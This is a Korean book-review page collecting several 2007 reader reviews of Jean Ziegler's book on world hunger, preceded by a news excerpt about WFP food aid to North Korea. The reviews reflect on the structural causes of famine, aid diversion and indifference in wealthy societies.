    드 마저리 대표는 특히 "이번 평양 방문에서 북측이 과거와는 달리 협조적인 태도를 보인 것은 WFP의 북한 활동의 중요성을 북한 당국도 인정한 것이라 본다"며 북한 당국의 변화된 태도와 식량 지원의 절실함을 강조했다.
    그는 "북한이 WFP에게 전체 인구가 필요로 하는 식량과 자체 생산량 사이에 100만톤의 차이가 있다고 설명했다"며 "북한 측이 이같이 식량 부족을 인정하고 게다가 직접적 수치를 인용한 것은 처음으로, 이는 북한이 정말로 식량이 필요하다는 것을 의미한다"고 부연했다.
    드 마저리 대표는 "WFP는 정치적 기관이 아닌 만큼 정치적 논쟁은 피하고 싶다"고 전제한 뒤 "인도적 지원은 정치화해서는 안 된다고 본다. 북한 식량 지원이 정치적 이슈에 좌우되고 있지만 북한의 굶주린 아이들은 정치를 알지 못한다"고 강조했다.
    그는 이어 "한국 정부가 지난해 약속한 식량 5만톤 지원이 정치적 이유로 현실화되지 않았지만, 한국 정부는 이를 이행할 의지가 있다는 것을 보여줬다"고 덧붙였다.
    2007년 3월 29일 뉴시스 정치 뉴스에서 발췌

    이 뉴스는 <왜 세계의 절반이 굶주리는가>에 대한 현실 상황을 포괄적이고 긴박하게 보여준다. 이런 기아 상황이 발생하게 된 이유와 상황, 해결되지 않을 때의 예상 결과, 주변국과 구호 단체의 역할까지 생생하게 보여준다. 그러나 우리는 이와 같은 기사를 예사로이 읽어 넘기고 이들의 어려움을 지극히 외면하고 있다. 이는 저자가 말한 것처럼 ‘사람들이 기아의 실태를 아는 것을 대단히 부끄럽게 여기기 때문에, 그 지식 위에 침묵의 외투를 걸치’기 때문인지도 모르겠다.
    저자인 장 지글러 교수는 유엔 식량 특별 조사관 일을 하면서, 강대국의 관심 밖에서 소외받고 있는 많은 국가의 기아 인구들에 대해 이야기한다. 기아의 근본적인 원인과 그 실태, 이를 해결하기 위한 많은 노력들과 그럼에도 불구하고 나아지지 않는 현실 등에 대해 침착하고 논리적으로 설명한다. 아들의 질문에 대한 답변 형식으로 기술되어 있어서, 얼핏 보기로는 인터넷 홈페이지의 FAQ (frequently asked question)처럼도 보인다.
    그러나 안을 들춰 보면 기아의 처참한 내용에 대해 감정적으로 흔들리지 않는 침착한 설명이 대조적으로 비춰진다. 감정적으로 대한다면야 뜨겁게 끓었다가 뜨겁게 식는 반응만을 유발할 수 있겠지만, 여러 나라의 역사와 지리, 정치, 주변 국가들과의 관계 등을 풍부하게 실어 놓아서 우리가 기아에 대해 ‘학습’할 수 있도록 한다. 이처럼 머리로 이해한 지식들은 계속해서 우리 안에서 무엇인가 행동으로 이루어내도록 촉구할 것이다.

    웰빙과 로하스가 트렌드인 요즘 같은 시대에, 삶의 질을 높이는 것이 아니라 생존 그 자체가 목적인 그들의 현실은 남의 일이라고 보기에는 너무 가슴이 아프다. 그래서 ‘다른 사람의 아픔을 내 아픔으로 느낄 줄 아는 유일한 생명체가 인간’임을 새삼 깨닫고 행동으로 옮겼으면 한다. 그들도 우리와 같은 인간이기 때문이다.

    월드비전: www.worldvision.or.kr
    굿네이버스: www.goodneighbors.org
    리뷰줄이기
  • 왜 세계의 절반은 굶주리는가
    피그말리온효과 | 2007년 04월 09일
     오늘 뭘 먹을까? 건강을 위해서 다이어트를 하십시오! 칼로리 조절을 해야 합니다. 하루에 1시간씩 운동을 하시고 소식을 하십시오! 키 165에 몸무게 45킬로가 딱 좋아요.   음식물 쓰레기가 넘쳐납니다. 썩은 음식물로 인해 악취가 진동합니다. 먹기 싫으면 버려!!    최근 우리나라에서는 다이어트에 성공한 사람들이 방송에 등장하여 다이어트 성공기를 말하며 많은 사람들에게 동경의 대상이 되고 있다. 어떻게 하면 저렇게 날씬한 몸매를 만들 수 있을까? 너도 나도 살 빼기 위해 무리한 다이어트를 시...
    더 보기
     오늘 뭘 먹을까? 건강을 위해서 다이어트를 하십시오! 칼로리 조절을 해야 합니다. 하루에 1시간씩 운동을 하시고 소식을 하십시오!

    키 165에 몸무게 45킬로가 딱 좋아요.


     


    음식물 쓰레기가 넘쳐납니다. 썩은 음식물로 인해 악취가 진동합니다.


    먹기 싫으면 버려!!


     


     최근 우리나라에서는 다이어트에 성공한 사람들이 방송에 등장하여 다이어트 성공기를 말하며 많은 사람들에게 동경의 대상이 되고 있다. 어떻게 하면 저렇게 날씬한 몸매를 만들 수 있을까? 너도 나도 살 빼기 위해 무리한 다이어트를 시도하다 몸을 망치는 경우도 심심치 않다. 우린 요즘 그야말로 살과의 전쟁중이다.


    그러나 지구촌 어딘가에선 한끼 식사를 먹기 위해 처절한 전쟁이 벌어지고 있다.


     


      <왜 세계의 절반은 굶주리는가?>는 유엔 식량 특별 조사관이 아들에게 들려주는 기아 이야기로 지구촌 한쪽에서는 음식물이 넘쳐나고 있는데,왜 다른 쪽에서는 수없이 많은 사람들이 굶어죽어가는지 우리가 몰랐던 기아의 실상을 낱낱이 알려주는 책이다. 

    단지 식량이 부족해서 굶주린다고 생각했던 나에게 현재 인구보다 두배가 많은 지구촌 사람에게 먹일 만큼 넉넉한 식량이 있다는 말은 충격이었다. 그렇다면 그들은 왜 굶주릴까?


     


      세계인구의 7분의 1에 이르는 8억 5000만명이 심각한 만성적인 영양실조 상태에 있다고 한다. 아프리카에서는 전 인구의 36%가 굶주림에 무방비 상태로 놓여있단다.  짐승이 먹을 음식은 있어도 사람이 먹을 음식이 없다는 이 웃지 못할 현실이 일어나는데도 우리는 그냥 막연히 식량이 부족해서 사람들이 굶는다고 생각하거나 아예 그런일에 관심조차 없었다.


     


      우리가 그동안 알지 못했던 알려하지 않았던 굶어죽는 사람들이 늘어나는 이유는 바로 전쟁과 정치적 무질서로 인해 구호조치가 제 구실을 하지 못하고 있고, 구호조직의 한계, 사막화와 삼림파괴의 영향, 도시화와 식민지 정책의 영향과 자본주의 시장의 신자유주의 등이 악순환처럼 반복되고 있었기 때문이다.


     


       자기 배만 부르면 된다는 일부 특권층의 지독한 착취와 자신들의 이익을 위해서는 끝까지 가난한 나라로 남아주길 바라는 강대국들이 이기심이 사라지지 않는 한 우리는 영원히 굶어죽는 사람이 없는 날을 보지 못하게 될 것이다.


     


      난 그동안 가난한 나라 사람들은 게으르고 나태하기 때문에 굶어죽는다고 오해하고 있었다. 부지런하게 일해도 가난해질 수 밖에 없는 그들의 현실을 몰라기에 나는 그렇게 놀고 있으니, 가난하지 하면서 혀를 찬 때도 있었다.


    이 책을 읽는 동안 그런 오해를 한 내가 얼마나 미웠는지, 모른다.


    과잉생산으로 처분하는 것들이 얼마나 많은가? 가격이 떨어지니 어쩔수 없다란 말로 파묻어버린 음식들이 얼마나 많은가? 멀쩡한 생산물들을 다 버릴바에야 가난한 나라를 도와주면 안되냐는 글에 그게 말처럼 쉽지 않다는 말을 들으니, 어이가 없다.


     


      2015년까지 기아사망자 수를 절반으로 줄이자는 밀레니엄 목표를 정했다는데, 과연 이뤄질 수 있을까 의문이다. 오히려 더 늘어나지 않는다면 다행이다.


     


      우리는 지구촌이란 말을 잘 쓴다. 촌이란 단어는 소박하고 정겨운 단어이며, 마음까지 편해지는 단어이다. 넉넉한 인심이 있고, 사람과 사람사이에 정을 나누는 곳같은 느낌이다.  이 정겨운 말투 이면에 담긴 어두운 실상을 이젠 제대로 봐야 한다.


     


      굶주리는 인구가 증가하고 있는 것에 대해 우리는 모두 똑같이 자기 반성을 해야한다. 우리의 일이 아닌데, 왜 우리가 그런일까지 걱정하고 도와줘야하냐고 반문한다면 우리는 똑같은 사람이고, 인간답게 살 권리가 있기 때문이다고 말하고 싶다.


     


      소수의 행복을 위해서 다수의 행복을 뺏을 권리, 행복을 넘어서 목숨까지 뺏을 권리가 우리에겐 없다.


    진정 기아로 죽어가는 사람들의 숫자를 줄이고 싶다는 이젠 강자의 오만함과 이기심을 버리고 사람을 소중하게 생각하는 마음으로 이 문제를 다뤄야 할 것이다.


    <알라딘,예스24,네이버>
    <
    리뷰줄이기

  • 먹는다는 건 신성(神聖)하다
    jjolpcc | 2007년 04월 10일
      먹는다는 건 인간에게 어떤 의미일까?  굶주린 사람이 단지 생존을 위해 아니 먹기 위해 부당한 위법을 저지른다면 그건 정말 도덕적으로 비난받아야 할까? 배가 고프다는 이유로 라면 몇 봉지를 훔쳤다는 이야기를 접할 때 대부분 사람들이 법을 어겼다는 도덕적 지탄을 보내기에 앞서 얼마나 배가 고팠으면 그랬을까 하는 본능적인 연민이 느껴지는 건 인간의 본능이리라. 인간생존을 위한 최소한의 필요조건이 바로 식량이 이라는 관점에서 본다면 문명이란 기본적으로 음식을 먹고 삶을 유지하며 후손을 이어가는 가장 ...
    더 보기
     

    먹는다는 건 인간에게 어떤 의미일까?  굶주린 사람이 단지 생존을 위해 아니 먹기 위해 부당한 위법을 저지른다면 그건 정말 도덕적으로 비난받아야 할까? 배가 고프다는 이유로 라면 몇 봉지를 훔쳤다는 이야기를 접할 때 대부분 사람들이 법을 어겼다는 도덕적 지탄을 보내기에 앞서 얼마나 배가 고팠으면 그랬을까 하는 본능적인 연민이 느껴지는 건 인간의 본능이리라. 인간생존을 위한 최소한의 필요조건이 바로 식량이 이라는 관점에서 본다면 문명이란 기본적으로 음식을 먹고 삶을 유지하며 후손을 이어가는 가장 본질적이고 생리적 충족 위에서만 그 존재 의미가 있음이 분명하다.




    하지만 가장 문명화되었다는 현재 세계의 절반이 굶주림에 시달리고 있다. 생존을 위한 가장 기본적인 권리마저 철저히 자본에, 권력에 유린되고 있다. 찔끔찔끔 공급되는 구호식량에, 부자들이 버린 쓰레기장속의 음식물에 생존의 희망을 걸고 살아가는 남반부 아프리카 국가들과 남아메리카의 배고픈 사람들, 북한을 위시한 아시아의 굶주리는 아이들, 모두들 정치적 권력의 이해관계와 금융과두제를 필두로 한 다국적 기업들의 횡포 아래 서서히 굶주려 죽어가고 있다. 축복을 받으며 태어나는 북반부의 소위 선진국 아이들이 온갖 좋다는 분유와 이유식을 먹을 때, 그보다 훨씬 많은 남반부 굶주린 아기들은 태어나서 며칠간의 고통스런 배고픔만을 경험하고 그 짧은 생을 마친다. 이것이 소위 동물과 다른 아니 동물보다 훨씬 진화한 이성을 갖춘 인간들이 세운 문명의 모습인가?




    왜 이런 일들이 벌어지는가? 유엔 식량 특별 조사관 “장 지글러”가 쓴 이 책에는 지구촌 절반에 해당하는 그 많은 사람들이 어떤 배고픔 속에서 살고 있는지, 또 그 사람들이 왜 굶주리는지에 대한 이야기들을 아들과 대화형식으로 펼쳐 보인다. 이해하기 쉽게 만들어져 읽기에 대한 부담이 그리 크지 않다. 하지만 읽기의 부담이 크지 않은 대신 현재를 살고 있는 지구촌의 한 사람으로서의 느껴야 할 죄책감과 부담감의 무게는 결코 가볍지 않다.    




    부르키나파소의 개혁자 상카라가 자국민의 먹고 사는 기본적인 문제를 해결하기위해 동분서주 하던 중 동료에 의해 살해당하는 부분을 읽을 때, 칠레의 아옌데 정권이 미국 국제기업의 손에 무너질 때, 처참하고 참담한 세계의 정치권력, 경제 논리에 경악할 수밖에 없었다. 사람의 생명이 유린되는 건 전쟁이나 학살뿐만이 아닐 것이다. 우리가 의식하지 못하는 지금 이 시간에도 자본과 국가간의 권력다툼, 혹은 내전이라는 국내의 정치권력의 이해득실 아래 많은 사람들과 아이들은 서서히 굶어 죽어가고 있다. 어
    리뷰줄이기

  • 왜 세계의 절반은 굶주리는가?
    노부타 | 2007년 04월 10일
    이 책은 부제에 적힌 그대로 '유엔 식량특별조사관이 아들에게 들려주는 기아의 진실'에 대한 이야기이다. 나는 이 책이 단지 '왜 세계의 절반은 굶주리는지'에 대한 흔해빠진 생각들을 되짚어보는 이야기가 아니라 그 안에 담긴 '진실'이 담겨있다는 것을 강조하고 싶다.처음 읽는 아프리카의 역사 를 읽고 아프리카에 대한 선입견을 조금이라도 버리게 되었다면, 이 책은 현재의 세계 경제 구조가 얼마나 많은 아이들을 죽음으로 내몰고 있는지, 그 진실을 보게 해 준다. 물론 많은 내용을 책을 읽기 전에 어렴풋이 알고는 있었지만 이...
    더 보기

    이 책은 부제에 적힌 그대로 '유엔 식량특별조사관이 아들에게 들려주는 기아의 진실'에 대한 이야기이다. 나는 이 책이 단지 '왜 세계의 절반은 굶주리는지'에 대한 흔해빠진 생각들을 되짚어보는 이야기가 아니라 그 안에 담긴 '진실'이 담겨있다는 것을 강조하고 싶다.
    처음 읽는 아프리카의 역사 를 읽고 아프리카에 대한 선입견을 조금이라도 버리게 되었다면, 이 책은 현재의 세계 경제 구조가 얼마나 많은 아이들을 죽음으로 내몰고 있는지, 그 진실을 보게 해 준다. 물론 많은 내용을 책을 읽기 전에 어렴풋이 알고는 있었지만 이처럼 쉽고 간결하고 명확하게 아프리카가 굶주리고 있는 이유에 대해 설명한 책은 읽어보지 못했었다. 생각같아서는 수많은 인용과 책의 내용을 모두 쏟아넣고 싶지만 나의 짧은 말로 해주는 설명보다는 이 책을 직접 읽어보는 것이 천만배 나으리라.
    그래서 나는 아직 이 책을 읽어보지 못한 모두에게 꼭 읽어보라고 권해본다.


    "뉴욕이나 제네바에서 열리는 국제기구 관련 회의 참가자들 사이에서는 북한에 대한 기아원조 가운데 매달 배급되는 의약품이나 비타민류, 단백질 보조식품 등의 3분의 1에서 절반 정도는 군부와 비밀경찰이 가로채고 있다는 이야기가 공공연하게 돌고 있다는구나. 도시나 지방의 고아원에서는 아이들이 속속 죽어나가는데도 지배층은 호화롭게 살고 있나봐.


    그게 옳은 일일까요?


    뭐가? 원조가? 아니면 구호품을 가로채는 것이?


    원조를 계속하는 거요.


    아빠는 구호단체의 방침에 동의해. 구호단체는 극단적인 조건에서 활동하고, 갖가지 모순들과 싸워야 해. 그러나 어떤 대가도 한 아이의 생명에 비할 수는 없어. 단 한 명의 아이라도 더 살릴 수 있다면 그 모든 손해를 보상받게 되는 것이지." (92-93)


    책을 읽다보면 구조적인 모순에 분노가 치밀기도 한다. 
    구호단체의 원조 활동으로 아프리카의 내전이 멈추지 않고 보복의 보복을 하는 악순환이 되풀이 되기도 했다. 그렇다고 그들의 문제를 강건너 불구경하듯 바라보기만 해야하는가?
    구조적인 기아, 그러니까 자본제 사회에서 소수의 기업가를 살찌워주기 위해 생산량과 가격조절을 위해 아이들이 굶어죽어가고 있는 이 순간에도 농산물이 폐기되어야 하고, 소가 사람대신 음식을 먹고 있는 지구의 현실이 과연 올바르다고 생각하는가?


    기아문제를 근본적으로 해결하기 위해서는 각국이 자급자족 경제를 스스로의 힘으로 이룩하는 것 외에는 진정한 출구가 없다고 생각해. 무엇보다도 인간을 인간으로서 대하지 못하게 된 살인적인 사회구조를 근본적으로 뒤엎어야 해. 인간의 얼굴을 버린 채 사회윤리를 벗어난 시장원리주의 경제(신자유주의), 폭력적인 금융자본 등이 세계를 불평등하고 비참하게 만들고 있어. 그래서 결국은 자신의 손으로 자신의 나라를 바로 세우고, 자립적인 경제를 가꾸려는 노력이 우선적으로 필요한 거야. (152-153)


    물론 아프리카에서 그런 노력이 없기때문에 여전히 기아문제를 안고 있고, 내전이 지속되고 있는 것은 아니다. 이에 대한 진실은... 조금만 관심을 갖고 아프리카를 바라본다면 아주 쉽게 알아챌 수 있다.
    120억의 인구가 먹고도 남을 만큼의 식량이 생산되고 있다는데 왜 하루에 10만명이, 5초에 한 명의 어린이가 굶주림으로 죽어가고 있는지, 이런 불합리한 현실이 왜 지금도 계속되고 있는지 생각해보자. 생각해보면 정말 이런 이야기의 진실은 학교에서도 언론에서도 알려주지 않는다. 또한... 이미 알고 있는 나 역시 내 주위의 사람들에게 진실을 알려주려고 하지 않았다. 기아문제의 진실은 가슴깊이 묻어두기 위해 아는 것이 아니다. 그 진실은 사람들에게 소리높여 외쳐야 하는 의무를 갖고 있다.


    저자는 그렇게 이야기 하고 있다. "희망은 서서히 변화하는 공공의식에 있다"라고.
    다른 사람의 아픔을 내 아픔으로 느낄 줄 아는 유일한 생명체인 인간의 의식 변화에 희망이 있다,라고.
    이제 우리 모두 변화되어야 할 것이다. 또한 내 주위의 모두가 변화되리라는 희망을 안고 노력하자. 모두가 더불어 사는, 아픔과 기쁨을 같이 느낄 수 있는 '사람'이 될 수 있도록.


     


    리뷰줄이기
  • 외면하고픈 진실.
    구르믈버서난달처럼 | 2007년 04월 11일
    120억의 인구가 먹고도 남을 만큼의 식량이 생산되고 있다는데 왜 하루에 10만 명이, 5초에 한 명의 어린이가 굶주림으로 죽어가고 있는가?아프리카와 중남미. 그리고 동남아 국가들이 겪고 있는 '기아'문제에 대해서는 대부분의 사람들이 알고 있을것이다. 뉴스나 다큐멘터리 등의 TV프로가 아니더라도 여타의 매체들을 통해서 심심치 않게 접하게 된다. 뼈와 가죽만 남은 앙상한 몸. 그 몸에 붙은 파리조차 쫓지 못해 힘없이 누워만 있는 아이들. 피죽 한그릇 얻어먹지 못한 모습으로 아이에게 빈젖을 물리고 있는 어머니. 모두 어딘가...
    더 보기
    120억의 인구가 먹고도 남을 만큼의 식량이 생산되고 있다는데 왜 하루에 10만 명이, 5초에 한 명의 어린이가 굶주림으로 죽어가고 있는가?

    아프리카와 중남미. 그리고 동남아 국가들이 겪고 있는 '기아'문제에 대해서는 대부분의 사람들이 알고 있을것이다. 뉴스나 다큐멘터리 등의 TV프로가 아니더라도 여타의 매체들을 통해서 심심치 않게 접하게 된다. 뼈와 가죽만 남은 앙상한 몸. 그 몸에 붙은 파리조차 쫓지 못해 힘없이 누워만 있는 아이들. 피죽 한그릇 얻어먹지 못한 모습으로 아이에게 빈젖을 물리고 있는 어머니. 모두 어딘가에서 한번은 보았음직한 모습들이다. 알고는 있지만 애써 외면하고 있는 모습들이다. 볼 때마다 측은하고 슬프지만 이내 고개를 돌려 버린다.
    이 책은 이런 '기아'의 실태와 요인에 대한 이야기이다. 유엔 식량 특별 조사관이라는 저자는 자신의 아들에게 설명하듯 대화 형식으로 알기 쉽게 이야기해 준다. 그들이 왜 굶어 죽게 되었는지. 무엇이 그들을 사지로 몰았는지에 대해서....

    이 책을 통해서 접하게 된 기아에 대한 진실은 그것에 대해 평소에 느끼는 것보다 훨씬 더 충격적인 것이었다. 부자들의 쓰레기로 연명하는 사람들과 돈이 없어 죽은 아이의 장례조차 제대로 치르지 못하는 현실. 먹지 못해 눈이 멀고, 난민 캠프에서 조차 선별되는 사람들. 기아를 무기로 내세우는 정부와 극단적인 이기심에 휩싸인 다국적 식량 기업들의 횡포는 '인간'이라는 생물에 대한 회의마저 느끼게 만들었다.

    반세기 전. 우리의 부모님 세대들만 하더라도 그들과 비슷한 고통을 겪었었다. '보릿고개'라는 춘궁기가 있었고, 초근목피로 연명하여 올챙이처럼 배만 볼록하게 나온 아이들과 미군들의 차량에 붙어서 먹을 것을 구걸하던 모습은 결코 먼 과거에 펼쳐지던 상황이 아니다. 그러던것이 이제는 영양과잉으로 성인병에 걸린 어린이들이 생기고, 해마다 넘쳐나는 음식물 쓰레기의 처리에 머리를 싸매야하는 상황이 되었다. '한강의 기적'으로 대표되는 비약적인 경제 발전은 결코 우리 민족의 힘만으로 이루어진 결과물이 아니다. 어쩌면 이 책에 나와 있는것처럼 선진국의 필요에 의해서 만들어진 기적인지도 모른다. 냉전시대 우리 나라가 공산주의에 대한 동북아의 방패로 인식되지 않았다면? 그래서 선진국들의 전략적 지원이 없었다면? 과연 우리가 이런 풍요를 누릴수 있었을까? 혹, 다른 아프리카의 국가들처럼 동족간의 전쟁이 휴전으로 끝나지 않고 몇십년 동안 계속 이어졌다면 지금 우리의 국토는 어떤 모습을 하고 있을것인가?
    그런 의미에서 생각해 본다면, 이 책에 쓰여있는 이야기들은 결코 강 건너 불구경하듯 볼 수 있는 성질의 것이 아니라고 생각한다.
    거기다 신자유주의를 내세운 선진국의 국제 기업들의 횡포와 환경 문제는 당장 지금 우리가 처한 현실인것이다. 식량 자급률이 30%도 안되는 우리 나라에서 농지는 점점 줄어들고 있다. 멀지 않은 미래에, 우리도 '부르키나파소'처럼 몰락의 길을 걷지 않을것이라고 누가 장담할 수 있겠는가?
    그렇기에 이 책이 제3세계의 일부 극빈국가들에 대한 이야기만은 아니라는 것이다.

    '나랏님도 어쩔수 없다'는 가난. 그에 따른 기아의 문제의 해결책은 무엇일까?
    어쩌면 작가가 말하는 '인간성의 회복'만이 가장 효과적이고 유일한 해결책인지도 모른다. 이를 위한 첫걸음은 기아에 대한 인지와 지속적인 관심이다. 그리하여, 극단적이고 편협한 이기심을 버리고 모두 함께 잘 살아가는 방법에 대해 생각해 보는 것이 진정한 의미의 '세계화'를 이루는 지름길일 것이다. 
    리뷰줄이기
  • 모순에 대한 의문, 인류를 위한 작은 시도
    울싸 | 2007년 04월 11일
    살과의 전쟁이라는 말에서 나타난, 다이어트와 전쟁이라는 단어가 어울리는 것은 현재 우리의 모습을 여실히 드러내고 있다. 도시 곳곳에 헬스클럽이 미용실만큼 우후죽순 늘어나있고 트레이너가 유망직종으로 각광을 받는다. 또한 과체중으로 인한 질병에 가계 의료비가 증가하고 이를 겨냥한 의료기관이나 보험 상품 등도 자연스레 늘어나고 있다. 문제의식은 이미 제기되었다. 살찐 만큼 병들어가고 있는 사회의 모습에 질려있다. 하지만 우리가 갖고 있는 이 문제의식이라는 것은 막연하고 매우 편협하다. 지극히 개인적이라는 것이...
    더 보기

    살과의 전쟁이라는 말에서 나타난, 다이어트와 전쟁이라는 단어가 어울리는 것은 현재 우리의 모습을 여실히 드러내고 있다. 도시 곳곳에 헬스클럽이 미용실만큼 우후죽순 늘어나있고 트레이너가 유망직종으로 각광을 받는다. 또한 과체중으로 인한 질병에 가계 의료비가 증가하고 이를 겨냥한 의료기관이나 보험 상품 등도 자연스레 늘어나고 있다.


    문제의식은 이미 제기되었다. 살찐 만큼 병들어가고 있는 사회의 모습에 질려있다. 하지만 우리가 갖고 있는 이 문제의식이라는 것은 막연하고 매우 편협하다. 지극히 개인적이라는 것이다. 이것은 확대해석해봐야 지역의 테두리에 국한된다. 그래서일까. 살찌는데 그악스러워함에도 불구하고 TV에서는 경쟁적으로 별미 프로그램이 편성되어 인기를 끌고 실로 무서운 가격대의 고급식당에는 발 디딜 틈이 없다.


    이런 우리에게 굶어죽는 자가 존재한다는 사실은 인식 자체가 어렵다. 같은 땅의 북쪽에 기아에 시달리는 동포를 두고서도 말이다. 오히려 배불러 죽겠다는 말을 입에 달고 살지 않는가.


    <왜 세계의 절반은 굶주리는가?>(갈라파고스. 2007)는 앞서 나열한 배부른 우리에게 인류의 두 배를 먹여 살릴 수 있는 식량을 보유하고 있음에도 절반이 굶고 있는 모순된 현실과 그 배경을 알려준다. 여태껏 기아보다는 전쟁이나 환경오염의 문제를 중차대한 문제로 생각하며 기아를 의식의 뒤편으로 미루어놓은 우리에게 말이다.


    작가의 논지를 따르다 보면 기아에 대한 무관심의 원인은 먼저 교육의 부재에서 찾을 수 있다. 이미 현실의 당면 과제를 외면한 교육의 허세는 어제 오늘일이 아니지만 기아의 경우 그 정도가 심하다. 이유인 즉, 교육이 기아를 우리와 먼 어느 빈민국에서만 일어나는 동떨어진 일로 치부하는데 반해 기아를 해결하기 위한 미진한 노력(구호단체나 국제기구 등)의 성과를 과장하고 있는 것이다.


    물론 세계화 추세에 발맞추려 안간힘을 써야하는 지금, 타지의 내전과 기아를 위해 군대를 파병하거나 여러 국제단체에 참여하고, 식량원조와 기술이전을 하는 등의 노력은 여러 매체를 통해 쉽게 접할 수 있다. 또한 그 노력을 미진하다고 비난하는 것만은 아니다. 그러나 문제는 현실이 희망적인 노력에 비할 수 없이 심각함에도, 희망적 여론이 그것을 전복시켜 탄생한 낙관주의적 무관심이다. 이런 시선으로는 현실을 직시할 수 없다. 아니, 시선이라 할 수 없이 눈을 가리고 있는 것인지도 모르겠다.


    그럼 무관심의 자신을 알았으니 이를 청산하고 태도를 바꾸면 문제는 서서히 해결의 실마리를 내놓을 것인가? 이 역시 낙관론에 젖은 예상처럼 보인다. 앞서도 언급했듯 인류의 두 배 가까이를 먹일 수 있는 식량 생산량에도 기아가 발생하는 것을 방관한 것이 무관심의 낙관론이었다면, 변화를 위한 노력에도 불구하고 개선되지 않는 것에는 구조적 결함이 숨어있다.


    이윤을 위해 움직이는 다국적 기업과 자국의 이득을 최우선시하는 마찬가지의 국가에서 식량은 부를 위한 파워게임에 이용된다. 때문에 식량 생산이 풍부한 국가의 잉여생산물은 적절한 가격에 재분배되지 못하고 경제 전쟁의 총탄이 된다. 실제로 이 총탄은 차곡차곡 쌓여 이윤을 위해서는 어디든 겨눌 수 있는 무기이다.


    경제적 이익 추구에 따른 폐해를 자유주의 시장원리의 맹점으로 제쳐둔다손 치더라도 강대국의 정치적 이점에 따른 횡포는 어떤 면에서 봐도 이해되지 않는다. 그들의 산업화 역사만큼 오래된 식민지 정책이 여전히 통용되고 있다는 사실만 봐도 그렇다. 강대국의 입장에서만 합리적인 세계시장 형성을 고려할 때, 그들에게 식민지였던(어떤 면으로는 여전히 식민지인) 국가의 값 싼 노동력은 여전히 버릴 수 없는 금광이다. 때문에 식민 지배를 벗어난 빈민국이 자립해 독립적인 시장을 구축하도록 내버려두지 않는다.


    침략으로 자급자족의 농업 기반을 식민지 정책으로 인한 특화농업에 희생당하고, 이제는 그 특화의 경제성마저 무너졌음에도 지배체제의 속성은 변하지 않았다. 또한 노선이 다르다는 이유만으로 빈민국의 지도층을 실각시키는 보이지 않는 검은 손을 휘두르는 일을 잊지 않고 있다.


    이 책은 필자가 아들의 눈높이에 맞춰 쉽게 설명하고 분량 역시 부담이 없지만 편안히 책장을 넘길 수 없다. 오히려 활자가 품고 있는 감당키 어려운 무게에 짓눌릴 수도 있다. 그것은 우리가 눈앞에 현실만이 현실인 사회를 살고 있기 때문인지도 모른다. 나아가 그 삶의 방식은 교묘히 합법의 그늘에 가려 있지만 엄연히 어긋난 몇 강대국의 횡포를 무감각하게 한다.


    굶주리는 세계의 절반이 존재한다는 것 자체가 모순임이 틀림없는 것처럼 그것을 외면하거나, 자연의 법칙인양 자위하고, 심하게는 우월감의 근거로 삼는 굶지 않는 나머지 절반의 의식 역시 모순이다. 하지만 이러한 모순은 여전히 통용되며 이대로 가다간 문제의식조차 제기되지 않는 하나의 일반적 현상으로 자리 잡을 위험마저 도사리고 있다.


    그렇다면 해결책은 무엇인가? 안타깝게도 이 한 권의 책에 마땅한 해결책을 기대할 수는 없다. 하지만 왜 세계의 절반이 굶주리는지에 대한 의문조차 아득한 우리에게 적어도 이 불균형의 문제를 의식의 수면위로 올려 줄 경종이 될 것이라 생각한다. 모든 일이 그렇듯 기아문제 역시 그에 대한 의문을 갖는 작은 시도가 좋은 출발이 될 것임이 분명하기에 말이다.
    리뷰줄이기

  • 불편한 진실, 하지만 우리의 희망이 필요한
    cpj1001 | 2007년 04월 15일
    책 표지의 어린 흑인 소년의 모습이 너무 가슴 아픈 책이다. 여태까지 몰랐던 진실이었고, 그리고 알려 주지 않았던 진실이어서 더더욱 가슴이 아팠던 내용들이다. 유엔 식량 특별 조사관인 지은이 장 지글러의 어린 아들 카림이 지은이에게 “아빠! 우리나라에는 먹을 것이 넘쳐나서 사람들이 비만을 걱정하고 한 쪽에서는 음식 쓰레기도 마구 버리고 있잖아요? 그런데 아프리카와 아시아, 라틴 아메리카의 많은 나라들에서는 아이들이 굶어 죽어가고 있다니 정말 기막힌 일 아니예요?” 라고 질문하면서 이야기는 오랜 동안 진실을 ...
    더 보기
    책 표지의 어린 흑인 소년의 모습이 너무 가슴 아픈 책이다. 여태까지 몰랐던 진실이었고, 그리고 알려 주지 않았던 진실이어서 더더욱 가슴이 아팠던 내용들이다.

    유엔 식량 특별 조사관인 지은이 장 지글러의 어린 아들 카림이 지은이에게 “아빠! 우리나라에는 먹을 것이 넘쳐나서 사람들이 비만을 걱정하고 한 쪽에서는 음식 쓰레기도 마구 버리고 있잖아요? 그런데 아프리카와 아시아, 라틴 아메리카의 많은 나라들에서는 아이들이 굶어 죽어가고 있다니 정말 기막힌 일 아니예요?” 라고 질문하면서 이야기는 오랜 동안 진실을 덮어왔던 먼지를 털어내기 시작한다.

    아마 지은이의 아들 ‘카림’도 책 표지의 흑인 소년과 비슷한 또래가 아닐까. 카림은 위와 같은 질문을 하는데, 한 쪽에서는 그저 하루 하루 살아가는 것이 전쟁일 정도로 참혹한 삶을 살아가야 하다니. 이 세상이 너무 잔인한 것 같다. 신은 존재하는 것일까?

    지은이는 아들의 질문에 대해 현재 전 세계적인 기아의 실태, 기아가 발생한 근본적인 원인과 이에 대한 대책을 아주 쉽고 간단 명료하게 설명해 주고 있다. 여태까지 다른 많은 책들이 수많은 그래프와 도표로 책의 외양을 꾸미는데 치중한 데 반해, 지은이는 자기가 직접 몸으로 체험한 사실을 솔직담백하게 쏟아내고 있어 책을 읽는 독자들에게 지은이의 이야기가 더욱 가슴에 와닿게 한다.

    1984년 유엔 식량농업기구(FAO)의 평가에 따르면, 당시 농업생산력을 기준으로 계산하면 120억의 인구가 먹고도 남을 만큼의 식량이 생산되고 있는데, 2005년 기준으로 10세 미만의 어린이가 5초에 한 명씩 굶주림으로 죽어가고 있는게 현실이라고 한다. 너무나도 어처구니 없는 현실이다. 하지만 이 현실에는 많은 이해관계가 얽혀있었다.

    지은이는 이와 같은 기아가 계속되는 것은 장기간의 내전, 원주민들의 무지로 인한 자연파괴, 정치부패, 거대한 세계 곡물시장에서 이루어지고 있는 시장가격 조작, 구호조직의 자금난과 구호활동의 딜레마 등을 원인으로 들고 있다.

